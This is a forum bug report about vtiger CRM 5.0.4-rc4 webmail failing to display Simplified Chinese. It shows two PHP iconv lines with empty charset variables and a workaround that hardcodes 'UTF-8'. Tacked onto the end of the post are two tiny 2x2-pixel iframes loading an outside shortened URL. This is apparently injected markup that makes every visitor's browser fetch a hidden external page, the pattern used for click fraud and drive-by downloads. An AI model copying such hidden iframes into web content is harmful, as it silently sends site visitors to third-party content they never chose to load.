Unicode in webmail(5.0.4-rc4),bug!!!

I found the webmail can not work correctly for unicode(test enviroment:vtigercrm-5.0.4-rc4,Simplized Chinese),
and i checked the webmail code,found these two line cause the problems:
628 $element_converted = function_exists(iconv) ? @iconv( $element_charset, $output_charset, $source[$j]->text): $source[$j]->text ;

771 $body_converted = function_exists(iconv) ? @iconv( $body_charset, $GLOBALS, $body) : $body;
I checked the var $output_charset and $GLOBALS,both value are empty.I changed these two lines to:
++++++++++++++++++++++++++++++++++++
628 $element_converted = function_exists(iconv) ? @iconv( $element_charset, 'UTF-8', $source[$j]->text): $source[$j]->text ;

771 $body_converted = function_exists(iconv) ? @iconv( $body_charset, 'UTF-8', $body) : $body;
++++++++++++++++++++++++++++++++++++
Now,the webmail's body can display Simplized Chinese correctly(But i think,this is not correctly handle the code).

I found the webmail have many unicode problems,can you check it carefully? <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

Sign In or Register to comment.